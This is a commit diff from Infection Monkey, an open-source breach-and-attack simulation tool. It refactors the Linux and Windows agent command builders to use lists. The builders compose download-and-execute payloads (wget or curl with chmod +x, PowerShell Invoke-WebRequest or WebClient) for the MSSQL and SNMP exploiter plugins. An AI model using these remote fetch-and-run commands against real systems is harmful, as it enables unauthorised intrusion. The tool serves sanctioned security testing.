Agent: Change command builders to work with lists instead of strings

Working with a list is more flexible
guardicore · Jun 11, 2024 · 48fdb77 · 48fdb77
1 parent 447bd22
commit 48fdb77
Show file tree

Hide file tree

Showing 8 changed files with 63 additions and 44 deletions.
diff --git a/monkey/agent_plugins/exploiters/mssql/src/mssql_command_builder.py b/monkey/agent_plugins/exploiters/mssql/src/mssql_command_builder.py
@@ -15,7 +15,7 @@ def build_mssql_agent_download_command(
     agent_destination_path: PureWindowsPath,
     agent_command_builder: IWindowsAgentCommandBuilder,
 ) -> str:
-    agent_command_builder.reset_command()
+    agent_command_builder.reset()
 
     download_options = WindowsDownloadOptions(
         agent_destination_path=agent_destination_path,
@@ -31,7 +31,7 @@ def build_mssql_agent_launch_command(
     agent_destination_path: PureWindowsPath,
     agent_command_builder: IWindowsAgentCommandBuilder,
 ) -> str:
-    agent_command_builder.reset_command()
+    agent_command_builder.reset()
 
     run_options = WindowsRunOptions(
         agent_destination_path=agent_destination_path,

diff --git a/monkey/agent_plugins/exploiters/snmp/src/plugin.py b/monkey/agent_plugins/exploiters/snmp/src/plugin.py
@@ -128,7 +128,7 @@ def _create_snmp_exploiter(
             agent_command_builder.get_command(),
         )
 
-        agent_command_builder.reset_command()
+        agent_command_builder.reset()
         return SNMPExploiter(
             exploit_client,
             self._http_agent_binary_server_registrar,

diff --git a/monkey/infection_monkey/command_builders/linux_agent_command_builder.py b/monkey/infection_monkey/command_builders/linux_agent_command_builder.py
@@ -1,5 +1,5 @@
 from pathlib import PurePosixPath
-from typing import Sequence
+from typing import List, Sequence
 
 from agentpluginapi import (
     DropperExecutionMode,
@@ -28,44 +28,46 @@ def __init__(
         self._otp_provider = otp_provider
         self._agent_otp_environment_variable = agent_otp_environment_variable
         self._current_depth = current_depth
-        self._command = ""
+        self._commands = []
 
     def build_download_command(self, download_options: LinuxDownloadOptions):
         download_command_func = self._build_download_command_wget
         if download_options.download_method == LinuxDownloadMethod.CURL:
             download_command_func = self._build_download_command_curl
 
-        self._command += download_command_func(
-            download_options.download_url, download_options.agent_destination_path
+        self._commands.extend(
+            download_command_func(
+                download_options.download_url, download_options.agent_destination_path
+            )
         )
 
     def _build_download_command_wget(
         self, download_url: str, destination_path: PurePosixPath
-    ) -> str:
-        return (
-            f"wget -qO {destination_path} {download_url}; "
-            f"{self._set_permissions_command(destination_path)}; "
-        )
+    ) -> List[str]:
+        return [
+            f"wget -qO {destination_path} {download_url} ",
+            f"{self._set_permissions_command(destination_path)}",
+        ]
 
     def _build_download_command_curl(
         self, download_url: str, destination_path: PurePosixPath
-    ) -> str:
-        return (
-            f"curl -so {destination_path} {download_url}; "
-            f"{self._set_permissions_command(destination_path)}; "
-        )
+    ) -> List[str]:
+        return [
+            f"curl -so {destination_path} {download_url} "
+            f"{self._set_permissions_command(destination_path)}"
+        ]
 
     def _set_permissions_command(self, destination_path: PurePosixPath) -> str:
         return f"chmod +x {destination_path}"
 
     def build_run_command(self, run_options: LinuxRunOptions):
-        self._command += (
+        self._commands.append(
             f"{self._agent_otp_environment_variable}={self._otp_provider.get_otp()} "
             f"{str(run_options.agent_destination_path)} "
         )
 
         if run_options.dropper_execution_mode != DropperExecutionMode.SCRIPT:
-            self._command += self._build_agent_run_arguments(run_options)
+            self._commands.append(self._build_agent_run_arguments(run_options))
 
     def _build_agent_run_arguments(self, run_options: LinuxRunOptions) -> str:
         agent_arguments = build_monkey_commandline_parameters(
@@ -77,7 +79,10 @@ def _build_agent_run_arguments(self, run_options: LinuxRunOptions) -> str:
         return f"{get_agent_argument(run_options)} {' '.join(agent_arguments)}"
 
     def get_command(self) -> str:
-        return self._command
+        return ";".join(self._commands)
+
+    def get_command_list(self) -> List[str]:
+        return self._commands
 
-    def reset_command(self):
-        self._command = ""
+    def reset(self):
+        self._commands = []
diff --git a/monkey/infection_monkey/command_builders/windows_agent_command_builder.py b/monkey/infection_monkey/command_builders/windows_agent_command_builder.py
@@ -1,5 +1,5 @@
 from pathlib import PureWindowsPath
-from typing import Sequence
+from typing import List, Sequence
 
 from agentpluginapi import (
     DropperExecutionMode,
@@ -29,54 +29,63 @@ def __init__(
         self._otp_provider = otp_provider
         self._agent_otp_environment_variable = agent_otp_environment_variable
         self._current_depth = current_depth
-        self._command = ""
+        self._commands = []
 
     def build_download_command(self, download_options: WindowsDownloadOptions):
         if download_options.download_method == WindowsDownloadMethod.WEB_REQUEST:
             download_command_func = self._build_download_command_webrequest
-        if download_options.download_method == WindowsDownloadMethod.WEB_CLIENT:
+        elif download_options.download_method == WindowsDownloadMethod.WEB_CLIENT:
             download_command_func = self._build_download_command_webclient
+        else:
+            raise NotImplementedError(
+                f"Download method {download_options.download_method} " f"is not implemented"
+            )
 
         # We always download using powershell since CMD doesn't have
         # or it is really hard to set a download command
-        self._command += "powershell "
-
-        self._command += download_command_func(
-            download_options.download_url, download_options.agent_destination_path
+        self._commands.append(
+            "powershell "
+            + download_command_func(
+                download_options.download_url, download_options.agent_destination_path
+            )
         )
 
     def _build_download_command_webrequest(
         self, download_url: str, destination_path: PureWindowsPath
     ) -> str:
         return (
             f"Invoke-WebRequest -Uri '{download_url}' "
-            f"-OutFile '{destination_path}' -UseBasicParsing; "
+            f"-OutFile '{destination_path}' -UseBasicParsing"
         )
 
     def _build_download_command_webclient(
         self, download_url: str, destination_path: PureWindowsPath
     ) -> str:
         return (
             "(new-object System.Net.WebClient)"
-            f".DownloadFile(^''{download_url}^'' , ^''{destination_path}^''); "
+            f".DownloadFile(^''{download_url}^'' , ^''{destination_path}^'')"
         )
 
     def build_run_command(self, run_options: WindowsRunOptions):
         # Note: Downloading a file in Windows is always PowerShell
         # so this is how we switch to CMD for the run command
-        if self._command != "":
-            if run_options.shell == WindowsShell.CMD:
-                self._command += "cmd.exe /c "
+        command = ""
+        if run_options.shell == WindowsShell.CMD:
+            command = "cmd.exe /c "
 
         if run_options.shell == WindowsShell.POWERSHELL:
             set_otp = self._set_otp_powershell
-        if run_options.shell == WindowsShell.CMD:
+        elif run_options.shell == WindowsShell.CMD:
             set_otp = self._set_otp_cmd
+        else:
+            raise NotImplementedError(f"Shell {run_options.shell} not implemented")
 
-        self._command += f"{set_otp()} {str(run_options.agent_destination_path)} "
+        command += f"{set_otp()} {str(run_options.agent_destination_path)} "
 
         if run_options.dropper_execution_mode != DropperExecutionMode.SCRIPT:
-            self._command += self._build_agent_run_arguments(run_options)
+            command += self._build_agent_run_arguments(run_options)
+
+        self._commands.append(command)
 
     def _set_otp_powershell(self) -> str:
         return f"$env:{self._agent_otp_environment_variable}='{self._otp_provider.get_otp()}';"
@@ -94,7 +103,10 @@ def _build_agent_run_arguments(self, run_options: WindowsRunOptions) -> str:
         return f"{get_agent_argument(run_options)} {' '.join(agent_arguments)}"
 
     def get_command(self) -> str:
-        return self._command
+        return ";".join(self._commands)
+
+    def get_command_list(self) -> List[str]:
+        return self._commands
 
-    def reset_command(self):
-        self._command = ""
+    def reset(self):
+        self._commands = []
diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/mssql/test_mssql_command_builder.py b/monkey/tests/unit_tests/agent_plugins/exploiters/mssql/test_mssql_command_builder.py
@@ -27,7 +27,7 @@ def test_download_command(windows_agent_command_builder: IWindowsAgentCommandBui
         "http://download.me/", AGENT_DESTINATION_PATH, windows_agent_command_builder
     )
 
-    windows_agent_command_builder.reset_command.assert_called_once()
+    windows_agent_command_builder.reset.assert_called_once()
     windows_agent_command_builder.get_command.assert_called_once()
     assert actual_command == EXPECTED_DOWNLOAD_COMMAND
 
@@ -40,6 +40,6 @@ def test_launch_command(windows_agent_command_builder: IWindowsAgentCommandBuild
         AGENT_DESTINATION_PATH, windows_agent_command_builder
     )
 
-    windows_agent_command_builder.reset_command.assert_called_once()
+    windows_agent_command_builder.reset.assert_called_once()
     windows_agent_command_builder.get_command.assert_called_once()
     assert actual_command == EXPECTED_RUN_COMMAND
diff --git a/...ey/tests/unit_tests/infection_monkey/command_builders/test_linux_agent_command_builder.py b/...ey/tests/unit_tests/infection_monkey/command_builders/test_linux_agent_command_builder.py
@@ -135,5 +135,5 @@ def test_command_reset(linux_agent_command_builder: ILinuxAgentCommandBuilder):
     linux_agent_command_builder.build_download_command(linux_download_options)
     assert len(linux_agent_command_builder.get_command()) > 0
 
-    linux_agent_command_builder.reset_command()
+    linux_agent_command_builder.reset()
     assert linux_agent_command_builder.get_command() == ""
diff --git a/.../tests/unit_tests/infection_monkey/command_builders/test_windows_agent_command_builder.py b/.../tests/unit_tests/infection_monkey/command_builders/test_windows_agent_command_builder.py
@@ -195,5 +195,5 @@ def test_command_reset(windows_agent_command_builder: IWindowsAgentCommandBuilde
     windows_agent_command_builder.build_download_command(windows_download_options)
     assert len(windows_agent_command_builder.get_command()) > 0
 
-    windows_agent_command_builder.reset_command()
+    windows_agent_command_builder.reset()
     assert windows_agent_command_builder.get_command() == ""
diff --git a/vulture_allowlist.py b/vulture_allowlist.py
@@ -182,3 +182,5 @@
 
 # TODO: Remove after we move the plugins to separate repos
 execute_agent
+LinuxAgentCommandBuilder.get_command_list
+WindowsAgentCommandBuilder.get_command_list